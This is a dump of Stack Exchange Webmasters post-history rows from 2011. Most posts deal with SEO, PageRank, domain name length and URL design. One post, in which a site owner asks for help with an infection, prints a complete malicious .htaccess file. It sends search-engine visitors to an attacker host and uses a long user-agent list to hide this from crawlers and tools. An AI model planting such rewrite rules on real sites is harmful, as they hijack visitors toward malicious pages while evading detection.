  <row Id="40752" PostHistoryTypeId="2" PostId="16999" RevisionGUID="ca4c9d9b-1d51-42a7-8529-4ef980c508ae" CreationDate="2011-07-17T13:43:32.110" UserId="8263" Text="I'm looking for a tool which is capable of indicating in which html files a css selector is being used.&#xD;&#xA;&#xD;&#xA;Ideally, this would also work on localhost.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="40753" PostHistoryTypeId="1" PostId="16999" RevisionGUID="ca4c9d9b-1d51-42a7-8529-4ef980c508ae" CreationDate="2011-07-17T13:43:32.110" UserId="8263" Text="Tool or plugin required to show out in which html files a given css selectors is used" />
  <row Id="40754" PostHistoryTypeId="3" PostId="16999" RevisionGUID="ca4c9d9b-1d51-42a7-8529-4ef980c508ae" CreationDate="2011-07-17T13:43:32.110" UserId="8263" Text="&lt;html&gt;&lt;css&gt;&lt;tools&gt;" />
  <row Id="40755" PostHistoryTypeId="2" PostId="17000" RevisionGUID="48c28237-210b-4b93-986c-2c9c9087952d" CreationDate="2011-07-17T13:56:19.767" UserId="1429" Text="Outbound links do NOT increase PR, and this is obvious, otherwise it would be easy for each of us to increase our's website PR to infinite, wouldn't it?! We all simply add tons of outbound links to our sites. :)&#xD;&#xA;&#xD;&#xA;But more important: it's true when John Conde says &quot;Outbound links do NOT take away PR from the page they are in&quot;, but be very careful because **in practice outbound links will end up reducing the all PR of your site**.&#xD;&#xA;&#xD;&#xA;I explain: being A,B,C pages on your sites, let's say page A has a PR of 4.&#xD;&#xA;&#xD;&#xA;If page A links only to B and C it will give them about a 2 points of PR each [note 1]. Therefor **you have a site where page A has a 4PR, B a 2PR and C a 2PR**.&#xD;&#xA;&#xD;&#xA;In the moment you add couple of outbound link to page A toward pages of an external site (i.e. a link to Wikipedia and a link to Facebook), page A does not loose its 4PR, **but the PR passed out in each link will be only 1 point now!!!**&#xD;&#xA;&#xD;&#xA;Therefor **now you have a site where page A has a 4PR, but B and C have both a 1PR**, and NOT 2 anymore. This means **page A will rank the same as before, but page B and C might now rank worst than pages (with similar contents) on you competitors' sites**, in simple words your all site now might rank worst than before.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[note 1] this is just an example, we are supposing the PR passed out by a page is made by the page's PR divided by the number of links on the page, but the actual Google algorithm is more complex than this and according to Matt Cutt's [a weight is applied to each links when passing PR, see the 2nd figure, that shows how otherwise a simple page loop would generate an infinite PR][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="40756" PostHistoryTypeId="5" PostId="16997" RevisionGUID="ee021a58-0525-42bd-891a-10625aa961b0" CreationDate="2011-07-17T14:30:45.757" UserId="8354" Comment="deleted 1 characters in body" Text="1. **253 characters** is the maximum length of **full domain name**, including dots: e.g. `www.example.com` = 15 characters.&#xD;&#xA;&#xD;&#xA;2. **63 characters** in the maximum length of a **&quot;label&quot;** (part of domain name separated by dot). Labels for `www.example.com` are `com`, `example` and `www`.&#xD;&#xA;&#xD;&#xA;This is an example of the domain with longest possible label (a fully working website BTW): `http://www.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.com/`. The domain name length = 71 characters.&#xD;&#xA;&#xD;&#xA;This will be an example of longest domain name: `abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcde.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.com`" />
  <row Id="40757" PostHistoryTypeId="25" PostId="16996" RevisionGUID="ca290cc8-ceb1-4258-b473-a7e5053b7ac5" CreationDate="2011-07-17T15:31:45.370" Comment="http://twitter.com/#!/StackWebmasters/status/92617492589068288" />
  <row Id="40758" PostHistoryTypeId="2" PostId="17001" RevisionGUID="acec2d2d-0bd2-43df-b5cf-ffe196727d95" CreationDate="2011-07-17T15:34:13.743" UserId="1429" Text="The most similar one I found is this one: **Quattrocento Sans**, by Pablo Impallari" />
  <row Id="40759" PostHistoryTypeId="2" PostId="17002" RevisionGUID="1471550b-1e37-4e08-bf29-48a54d6d6ba2" CreationDate="2011-07-17T17:10:20.320" UserId="9015" Text="Take for example this random question http://webmasters.stackexchange.com/questions/16999/tool-or-plugin-required-to-show-out-in-which-html-files-a-given-css-selectors-is, notice that the relevant part is `/questions/16999`.&#xD;&#xA;&#xD;&#xA;Now, it being possible that the url could have been done like this :&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/tool-or-plugin-required-to-show-out-in-which-html-files-a-given-css-selectors-is/16999`&#xD;&#xA;&#xD;&#xA;That is the question_id is after the question, and what comes first in a url weighs more in seo, why is the question part coming after the question_id.&#xD;&#xA;&#xD;&#xA;I also read in an article that only the first two subdirectories are relevant therefore only `/question/16999` is relevant. Looking at SO this is definitely not true, but I can't decide on the weigh of this.&#xD;&#xA;&#xD;&#xA;I am asking because I am going to implement seo optimizations and don't want to have to change the link to my pages afterwards." />
  <row Id="40760" PostHistoryTypeId="1" PostId="17002" RevisionGUID="1471550b-1e37-4e08-bf29-48a54d6d6ba2" CreationDate="2011-07-17T17:10:20.320" UserId="9015" Text="why does stackoverflow question urls have the question id before seo friendly 'question'" />
  <row Id="40761" PostHistoryTypeId="3" PostId="17002" RevisionGUID="1471550b-1e37-4e08-bf29-48a54d6d6ba2" CreationDate="2011-07-17T17:10:20.320" UserId="9015" Text="&lt;url&gt;" />
  <row Id="40762" PostHistoryTypeId="2" PostId="17003" RevisionGUID="25088a3d-4552-4dcc-af84-2a9fce615c83" CreationDate="2011-07-17T17:47:13.447" UserId="3312" Text="Yes, it's they could have added the ID after the question title if they had wished.  &#xD;&#xA;&#xD;&#xA;Regarding the position, in my opinion I don't think it would make any difference (ok maybe if it was in the domain name).&#xD;&#xA;&#xD;&#xA;From a human readability point of view, it seems clearer (to me at least) to have the human readable title at the end, rather than burried in the URL. &#xD;&#xA;&#xD;&#xA;&gt; I also read in an article that only the first two subdirectories are&#xD;&#xA;&gt; relevant therefore only /question/16999 is relevant. Looking at SO&#xD;&#xA;&gt; this is definitely not true, but I can't decide on the weigh of this&#xD;&#xA;&#xD;&#xA;Where did you read this?  I don't think it is correct, and nowadays these re-written URLs don't usually relate to subdirectories in any way." />
  <row Id="40763" PostHistoryTypeId="25" PostId="17002" RevisionGUID="727cf89e-d953-4f61-9865-8890e98100d6" CreationDate="2011-07-17T18:31:45.720" Comment="http://twitter.com/#!/StackWebmasters/status/92662790967402496" />
  <row Id="40773" PostHistoryTypeId="10" PostId="16987" RevisionGUID="10ed7aa5-c08f-4c33-bd79-c42278de3971" CreationDate="2011-07-17T19:37:17.390" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40774" PostHistoryTypeId="2" PostId="17006" RevisionGUID="ce4b40b3-eeb1-4521-abdc-1d0fbf8f051e" CreationDate="2011-07-17T19:39:49.337" UserId="1253" Text="Putting alternative content within the `&lt;object&gt;` tag for your flash content is not cloaking and is actually good for accessibility. You **should definitely do it**. It's no coincidence that what is [good for accessibility is also good for SEO][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12960/seo-how-to-separate-fact-from-fiction/13007#13007" />
  <row Id="40775" PostHistoryTypeId="5" PostId="16943" RevisionGUID="fbb52887-7779-49ef-ba3c-3b2bb07a3639" CreationDate="2011-07-17T19:45:17.480" UserId="1253" Comment="added 821 characters in body" Text="Some possibilities:&#xD;&#xA;&#xD;&#xA;- The sites who moved up in the rankings may have gotten quality links that boosted their relevancy (as opposed to you losing relevancy).&#xD;&#xA;&#xD;&#xA;- You may have lost quality links&#xD;&#xA;&#xD;&#xA;- The sites that leaped ahead of you made big improvements in their SEO and now are reaping the rewards&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played to the other sites' strengths&#xD;&#xA;&#xD;&#xA;- There was a small algorithm change that played against your weaknesses&#xD;&#xA;&#xD;&#xA;Also keep in mind that rankings naturally fluctuate. It's very possible you will return to your previous rankings soon without having to change anything on your site. &#xD;&#xA;&#xD;&#xA;One thing you should do is check to see if any of the sites that moved ahead of you are new or if they made any changes (if you don't check out the competition regularly you may not be able to do this). If so, you may want to make similar changes and see if it helps you. Be prepared to roll the changes back if they do not help or hurt your rankings.&#xD;&#xA;&#xD;&#xA;My advice whenever someone has this occur is always **don't panic** and **don't change anything**. This is a perfect opportunity for you to make changes that you really don't need to make and they end up hurting you in the end. &#xD;&#xA;&#xD;&#xA;If your content is still strong then wait it out. Keep getting links to your pages. Don't panic. Be patient.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;To diagnose a drop you need to:&#xD;&#xA;&#xD;&#xA;1. Undo any recent changes and wait to see if your rankings revert back. &#xD;&#xA;&#xD;&#xA;2. Make sure you are up to date on Google's latest changes to their algorithm and see if any of them apply to you. If so, make changes that *should* affect that algorithm change and wait to see what happens. If nothing changes then rollback your content as that was the last known well-ranking format for your content.&#xD;&#xA;&#xD;&#xA;That's about it. If you didn't change anything and Google hasn't made any announced changes then you have to assume your competitors got better either through better content/SEO or minor tweaks at Google that were unannounced and difficult to test for. In this case just keep plugging away. If your content is strong, you will regain your old positioning at some point." />
  <row Id="40776" PostHistoryTypeId="2" PostId="17007" RevisionGUID="a67b17a7-1cc1-414a-9a34-d403f511d92e" CreationDate="2011-07-17T19:48:49.413" UserId="1253" Text="If the other blog is going away and the content will no longer be available then republish it all at your blog when the other site goes offline. You'll avoid duplicate content issues because the other site will no longer exist. And if there is a sandbox, and you can't do 301 redirects, then there is no &quot;perfect&quot; solution. But if you republish the content and wait it out you will eventually be fully indexed and ranked. It may not happen as fast as you like but it will happen." />
  <row Id="40777" PostHistoryTypeId="5" PostId="16988" RevisionGUID="b1ac11db-a504-449d-ab03-f396f4d40683" CreationDate="2011-07-17T19:50:08.243" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Content appearing under multiple categories; anything I can do to prevent duplicate penalty?](http://webmasters.stackexchange.com/questions/15878/content-appearing-under-multiple-categories-anything-i-can-do-to-prevent-duplica)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What is the best practice to display a product that may be in several categories without producing duplicate content as far as search engines are concerned?&#xD;&#xA;&#xD;&#xA;In the past I have used a default category for each product so only one url is ever displayed for each product, but this is not a nice user experience if for example a product is listed in: maincategory A, subcategory B and also maincategory B, subcategory D and the user navigates through B &gt; D to the product and the page url is displayed as website/A/B/product - the user may have lost the subcategory they came from initially.&#xD;&#xA;&#xD;&#xA;Is it really necessary to remove the duplicate url for SER purposes? Or will the SE pick the most appropriate one to list?" />
  <row Id="40778" PostHistoryTypeId="10" PostId="16988" RevisionGUID="4ecf16ca-848a-49d1-b233-cbe10bf4219b" CreationDate="2011-07-17T19:50:07.883" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40779" PostHistoryTypeId="2" PostId="17008" RevisionGUID="31db4eeb-e239-47ad-9b02-574ad1e441ec" CreationDate="2011-07-17T19:51:08.790" UserId="9019" Text="When displaying product pages I only show a subset of products to save server bandwidth and increase load times.  Each page is implement as a link.  I recently converted from a drop down selector that changed the page url on selection to pure anchor tags.  &#xD;&#xA;&#xD;&#xA;My question is, is it worth it to make sure crawlers can access all my pages for the sake of screen real estate and aesthetics?  I personally liked the drop down better than a bunch of page numbers separated by a pipe - '|' - symbol plus it took up much less screen real estate." />
  <row Id="40780" PostHistoryTypeId="1" PostId="17008" RevisionGUID="31db4eeb-e239-47ad-9b02-574ad1e441ec" CreationDate="2011-07-17T19:51:08.790" UserId="9019" Text="SEO: Navigation of Multiple Page Results" />
  <row Id="40781" PostHistoryTypeId="3" PostId="17008" RevisionGUID="31db4eeb-e239-47ad-9b02-574ad1e441ec" CreationDate="2011-07-17T19:51:08.790" UserId="9019" Text="&lt;seo&gt;&lt;navigation&gt;" />
  <row Id="40782" PostHistoryTypeId="2" PostId="17009" RevisionGUID="8c2f7ca8-18fc-420f-863e-6843d0c96a37" CreationDate="2011-07-17T19:52:37.620" UserId="1253" Text="If you can get a domain name with the keyword you want to rank well with in it, definitely do it. Keywords in domains carry a lot of weight. [Google is trying to reduce its value for obvious reasons][1] but even if it is reduced it still is a very good thing to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seroundtable.com/google-keyword-domains-13125.html" />
  <row Id="40783" PostHistoryTypeId="2" PostId="17010" RevisionGUID="62039f16-ffef-4ea6-b74d-5410d32c754d" CreationDate="2011-07-17T19:55:57.260" UserId="1253" Text="If you don't have links to those pages then search engines won't be able to find them as they typically do not submit forms or follow JavaScript. To compensate for this you should make sure you have an XML sitemap linking to those pages so they can find them. I would also make an HTML sitemap that does this as well.&#xD;&#xA;&#xD;&#xA;You may also want to consider creating some kind of hyperlink system to get to those pages that are less intrusive then a full blown pagination linkset. Even just a &quot;previous&quot; and &quot;next&quot; button is all that is needed for the search engines to be able to crawl those pages and find that content." />
  <row Id="40784" PostHistoryTypeId="2" PostId="17011" RevisionGUID="8505f84a-584e-4b94-bc2b-ac2541a9e7a1" CreationDate="2011-07-17T19:58:09.770" UserId="1253" Text="It varies. Sites like Stackoverflow will see changes reflected seemingly immediately while smaller sites may wait days or even weeks for the changes to be represented in the search results. [See this answer for why][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/7299/stackoverflow-and-google-search" />
  <row Id="40785" PostHistoryTypeId="5" PostId="16996" RevisionGUID="30477894-3925-4b61-a520-0e936a3d14b3" CreationDate="2011-07-17T19:59:07.820" UserId="2825" Comment="spelling &amp; title" Text="Out of curiosity, does anyone know what's the **maximum length (in characters) for a domain name?**&#xD;&#xA;&#xD;&#xA;Let's exclude the `http://www`.&#xD;&#xA;&#xD;&#xA;I know the [maximum length of an url is about 2000 chars][1]. But here I'm more ineterested in just the domain part or the url.&#xD;&#xA;&#xD;&#xA;On Wikipedia they say: [&quot;The full domain name may not exceed a total length of 253 characters in its external dotted-label specification.&quot;][2] But what does that mean?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Domain_Name_System#Domain_name_syntax" />
  <row Id="40786" PostHistoryTypeId="4" PostId="16996" RevisionGUID="30477894-3925-4b61-a520-0e936a3d14b3" CreationDate="2011-07-17T19:59:07.820" UserId="2825" Comment="spelling &amp; title" Text="Maximum domain name length" />
  <row Id="40787" PostHistoryTypeId="24" PostId="16996" RevisionGUID="30477894-3925-4b61-a520-0e936a3d14b3" CreationDate="2011-07-17T19:59:07.820" Comment="Proposed by 2825 approved by 1253 edit id of 442" />
  <row Id="40789" PostHistoryTypeId="2" PostId="17012" RevisionGUID="30a4693a-67f4-4066-bab6-e407aedc0865" CreationDate="2011-07-17T21:01:13.780" UserId="3591" Text="Ok, solved this by adding a {float:left} to #page-wrap.&#xD;&#xA;Than a {clear:left} in a div underneath to clean it up." />
  <row Id="40796" PostHistoryTypeId="25" PostId="17008" RevisionGUID="28de2498-75a5-43ea-8081-68e667b12611" CreationDate="2011-07-17T21:31:45.743" Comment="http://twitter.com/#!/StackWebmasters/status/92708089719037952" />
  <row Id="40797" PostHistoryTypeId="2" PostId="17014" RevisionGUID="04d088ed-fffb-4632-86fa-186ed12cb08b" CreationDate="2011-07-17T22:24:24.787" UserId="3706" Text="You could just sign up for [CloudFlare](http://cloudflare.com). It takes your site and caches it on its network. It may help others reach your blog. I have it set up on my site." />
  <row Id="40798" PostHistoryTypeId="17" PostId="17015" RevisionGUID="ce96ac2f-a433-4c4d-9aa7-99b283811130" CreationDate="2011-07-18T00:16:11.950" UserId="-1" Comment="from http://serverfault.com/questions/291276/redirect-main-domain-but-not-subdomain-in-cpanel" Text="" />
  <row Id="40799" PostHistoryTypeId="2" PostId="17015" RevisionGUID="a77c33d5-bccd-4e48-be11-b7cfa53cfae0" CreationDate="2011-07-17T22:57:32.287" UserDisplayName="DaveO" Text="I have set up cpanel to redirect my main domain (e.g. www.domain.com and domain.com) to a remote site, however I would like a subdomain (other.domain.com) to point to a local directory. When I set this up it looks like the subdomain also gets redirected, so how do I set this up?" />
  <row Id="40800" PostHistoryTypeId="1" PostId="17015" RevisionGUID="a77c33d5-bccd-4e48-be11-b7cfa53cfae0" CreationDate="2011-07-17T22:57:32.287" UserDisplayName="DaveO" Text="Redirect main domain but not subdomain in cpanel?" />
  <row Id="40801" PostHistoryTypeId="3" PostId="17015" RevisionGUID="a77c33d5-bccd-4e48-be11-b7cfa53cfae0" CreationDate="2011-07-17T22:57:32.287" UserDisplayName="DaveO" Text="&lt;redirects&gt;&lt;subdomain&gt;&lt;cpanel&gt;" />
  <row Id="40802" PostHistoryTypeId="25" PostId="16995" RevisionGUID="dc8ff28c-f506-4b4f-b63e-ace6afbc6968" CreationDate="2011-07-18T00:31:46.010" Comment="http://twitter.com/#!/StackWebmasters/status/92753387837341696" />
  <row Id="40803" PostHistoryTypeId="2" PostId="17016" RevisionGUID="1a59ad43-c036-4f7c-9237-1d894d06c88a" CreationDate="2011-07-18T03:17:48.863" UserId="5406" Text="The processing of the URL by the server is ignoring the portion of the URL following the question id number and slash.  All of these are equivalent:&#xD;&#xA;&#xD;&#xA;&gt; /questions/16999   &#xD;&#xA;/questions/16999/   &#xD;&#xA;/questions/16999/any-text-at-all&#xD;&#xA;&#xD;&#xA;They all redirect to the URL having the (reformatted) question text after the slash.&#xD;&#xA;&#xD;&#xA;This allows them to use the short form URL in links from one page to another (such as the links in the _Related_ sidebar on this page), saving HTML transmission time as well as storage and cpu cycles.  By having the question-text in the canonical URL (the one redirected to), they still get the benefits of having relevant text in the URL for use in search engine indexing.&#xD;&#xA;" />
  <row Id="40804" PostHistoryTypeId="25" PostId="16999" RevisionGUID="b52eecfe-1aec-4410-bf60-6f062d9a422e" CreationDate="2011-07-18T03:31:45.937" Comment="http://twitter.com/#!/StackWebmasters/status/92798686291169281" />
  <row Id="40805" PostHistoryTypeId="17" PostId="17017" RevisionGUID="c77254ca-027a-449d-ac12-b570948741c0" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
  <row Id="40806" PostHistoryTypeId="17" PostId="17018" RevisionGUID="535f6b1a-01cc-4649-990e-210f41620da3" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
  <row Id="40807" PostHistoryTypeId="2" PostId="17018" RevisionGUID="e46de232-e818-4a40-97eb-4ab8964af6f7" CreationDate="2010-12-14T17:42:14.317" UserDisplayName="Luke" Text="There isn't really a simple explanation for what caused this without knowing a lot more about your server config and what you have running.&#xD;&#xA;&#xD;&#xA;At first glance, it looks like there's a vulnerability on your server that allowed someone to upload malicious code - but again, without knowing what's on your server, it's hard to say where that vulnerability might have come from." />
  <row Id="40808" PostHistoryTypeId="2" PostId="17019" RevisionGUID="73f8cf2c-74d1-49ef-b03e-794e9478483c" CreationDate="2010-12-14T18:53:54.600" UserId="8392" Text="If you noticed it &quot;at several hosting providers&quot; then I would think its highly likely something to do with a site on your server(s) not todo with the server itself, unless your bringing over certain config files to new hosting providers etc?&#xD;&#xA;&#xD;&#xA;If I was you, I would enforce password changes, someones got access to your server or directories that they shouldn't have?!&#xD;&#xA;&#xD;&#xA;What about upload forms? Is anyone using a poorly secured one with no file upload restrictions?&#xD;&#xA;FTP, does anyone have access that should not, can people access more than they should through it?&#xD;&#xA;&#xD;&#xA;As I said I would do a password changes, also do updates on any cms's you might have running on there e.g. Joomla etc encase there are fixes for known security issues.&#xD;&#xA;&#xD;&#xA;Hope that was at least slightly helpful :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40809" PostHistoryTypeId="2" PostId="17017" RevisionGUID="37ceb971-eb73-4d2e-b33c-9492957ad143" CreationDate="2010-12-14T17:34:48.010" UserDisplayName="Steven K." Text="Some of the sites we're hosting are compromised by... I don't know what.&#xD;&#xA;Every directory on the webserver contains a .htaccess file which redirects a user coming from a search engine to a page which doesn't even exist - see the .htaccess file below.&#xD;&#xA;&#xD;&#xA;The problem first appeared on 10 december 2010 and has been spreading ever since.&#xD;&#xA;&#xD;&#xA;We noticed it at several hosting providers, not just one.&#xD;&#xA;&#xD;&#xA;Has anyone experienced similar problems? Does someone know what this is and how we can stop it?&#xD;&#xA;&#xD;&#xA;I've found some links in Google to similar problems but no explanation as to what is going on.&#xD;&#xA;www.neowin.net/forum/topic/921534-strange-htaccess-file&#xD;&#xA;e107.org/e107_plugins/forum/forum_viewtopic.php?202680&#xD;&#xA;&#xD;&#xA;The sollution is very simple: just delete the file, but that's not what I'm after. I would like to know what's causing this.&#xD;&#xA;&#xD;&#xA;[Edit]&#xD;&#xA;The redirect url seems to be different for every infected domain, here's a list:&#xD;&#xA;&#xD;&#xA;indanetwall.net&#xD;&#xA;&#xD;&#xA;checkforsec.com&#xD;&#xA;&#xD;&#xA;trackallnet.com&#xD;&#xA;&#xD;&#xA;bonusforall.net&#xD;&#xA;&#xD;&#xA;searchforallweb.com&#xD;&#xA;&#xD;&#xA;sslabssys.com&#xD;&#xA;&#xD;&#xA;Googling on those lead to more people reporting the same problem using all kinds of different systems:&#xD;&#xA;&#xD;&#xA;www.neowin.net/forum/topic/921534-strange-htaccess-file/page__st__15&#xD;&#xA;&#xD;&#xA;forum.ovh.com/showthread.php?t=63484 (french)&#xD;&#xA;&#xD;&#xA;**[Final edit]**&#xD;&#xA;&#xD;&#xA;@Mac&#xD;&#xA;&#xD;&#xA;Yes, it had nothing to do with a specific server or a specific server configuration. &#xD;&#xA;&#xD;&#xA;All the latest updates were installed for the OS and installed CMS systems.&#xD;&#xA;&#xD;&#xA;It also affected servers without any CMS installed so we couldn't put the blame there.&#xD;&#xA;&#xD;&#xA;It affected 8 server at 3 different hosting providers.&#xD;&#xA;&#xD;&#xA;We don't know how the files got there but it wasn't through ftp.&#xD;&#xA;&#xD;&#xA;In the end we changed all passwords for the ftp accounts, hosting provider account, databases, anything. &#xD;&#xA;&#xD;&#xA;We did a thorough scan of all the servers and the local netwerk but didn't find anything there.&#xD;&#xA;&#xD;&#xA;So the final conclusion is that somebody somehow got hold of a bunch of passwords to access our systems. &#xD;&#xA;&#xD;&#xA;Luckily they didn't do any 'real' damage and in the end it was no more than a big annoyance... But it could've been much worse.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Steven&#xD;&#xA;&#xD;&#xA;The htaccess file looks like this:&#xD;&#xA;&#xD;&#xA;    # exgocgkctswo&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_METHOD}   ^GET$&#xD;&#xA;    RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$&#xD;&#xA;    RewriteCond %{HTTPS}            ^off$&#xD;&#xA;    RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&amp;i=138ee363&amp;j=315&amp;m=c1ca5d58dda23245366719cd597ac0d5&amp;h=%{HTTP_HOST}&amp;u=%{REQUEST_URI}&amp;q=%{QUERY_STRING}&amp;t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]&#xD;&#xA;    # exgocgkctswo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40810" PostHistoryTypeId="1" PostId="17017" RevisionGUID="37ceb971-eb73-4d2e-b33c-9492957ad143" CreationDate="2010-12-14T17:34:48.010" UserDisplayName="Steven K." Text="Site compromised .htaccess files everywhere..." />
  <row Id="40811" PostHistoryTypeId="3" PostId="17017" RevisionGUID="37ceb971-eb73-4d2e-b33c-9492957ad143" CreationDate="2010-12-14T17:34:48.010" UserDisplayName="Steven K." Text="&lt;security&gt;&lt;mod-rewrite&gt;" />
  <row Id="40812" PostHistoryTypeId="17" PostId="17019" RevisionGUID="7ca645d1-f1ac-4071-aa96-a54d08de2633" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
  <row Id="40813" PostHistoryTypeId="17" PostId="17020" RevisionGUID="746562c8-9baf-4648-a61f-8cfe5b635cfd" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
